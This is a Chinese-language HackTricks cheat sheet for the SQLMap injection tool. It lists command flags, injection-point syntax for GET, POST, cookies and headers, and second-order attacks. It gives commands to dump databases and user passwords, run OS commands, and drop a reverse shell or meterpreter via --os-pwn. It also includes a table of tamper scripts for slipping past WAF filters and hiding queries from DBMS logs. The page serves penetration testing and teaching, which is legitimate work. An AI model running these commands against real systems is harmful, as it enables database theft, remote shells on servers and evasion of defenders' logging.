SQLMap
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
SQLmap的基本参数
通用
bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
技术标志 (--technique
)
--technique
参数定义了 sqlmap 将尝试的 SQL 注入方法。字符串中的每个字符代表一种技术:
字母 | 技术 | 描述 |
---|---|---|
B | 基于布尔的盲注 | 使用真/假条件推断数据 |
E | 基于错误的注入 | 利用详细的 DBMS 错误消息提取结果 |
U | UNION 查询 | 注入 UNION SELECT 语句通过相同通道获取数据 |
S | 堆叠查询 | 添加由 ; 分隔的额外语句 |
T | 基于时间的盲注 | 依赖延迟 (SLEEP , WAITFOR ) 检测注入 |
Q | 内联 / 异带 | 使用如 LOAD_FILE() 的函数或 DNS 等异带通道 |
默认顺序为 BEUSTQ
。您可以重新排列或限制它们,例如仅按顺序使用布尔和基于时间的注入:
bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch
检索信息
内部
bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
数据库数据
bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
注入位置
从 Burp/ZAP 捕获
捕获请求并创建一个 req.txt 文件
bash
sqlmap -r req.txt --current-user
GET 请求注入
bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST 请求注入
bash
sqlmap -u "http://example.com" --data "username=*&password=*"
在头部和其他HTTP方法中的注入
bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
二次注入
bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Shell
bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
使用SQLmap爬取网站并自动利用
bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
自定义注入
设置后缀
bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
前缀
bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
帮助寻找布尔注入
bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Description |
---|---|
apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>') |
bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码 (不处理已编码的字符) |
commalesslimit.py | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例 |
commalessmid.py | 用 'MID(A FROM B FOR C)' 替换 'MID(A, B, C)' 的实例 |
concat2concatws.py | 用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换 'CONCAT(A, B)' 的实例 |
charencode.py | 对给定有效负载中的所有字符进行 URL 编码 (不处理已编码的字符) |
charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码 (不处理已编码的字符)。 "%u0022" |
charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码 (不处理已编码的字符)。 "\u0022" |
equaltolike.py | 用运算符 'LIKE' 替换运算符等于 ('=') 的所有出现 |
escapequotes.py | 斜杠转义引号 (' 和 ") |
greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换 'IFNULL(A, B)' 的实例 |
modsecurityversioned.py | 用版本化注释包裹完整查询 |
modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字 (例如 .replace("SELECT", "") 过滤器) |
percentage.py | 在每个字符前添加百分号 ('%') |
overlongutf8.py | 转换给定有效负载中的所有字符 (不处理已编码的字符) |
randomcase.py | 用随机大小写值替换每个关键字字符 |
randomcomments.py | 向 SQL 关键字添加随机注释 |
securesphere.py | 附加特殊构造的字符串 |
sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
space2comment.py | 用注释替换空格字符 (' ') |
space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
space2hash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
space2morehash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
space2mssqlhash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟换行符 ('\n') |
space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
space2mysqldash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n') |
space2plus.py | 用加号 ('+') 替换空格字符 (' ') |
space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和 |
unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释 (以使其工作) |
uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
varnish.py | 附加 HTTP 头 'X-originating-IP' |
versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
References
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。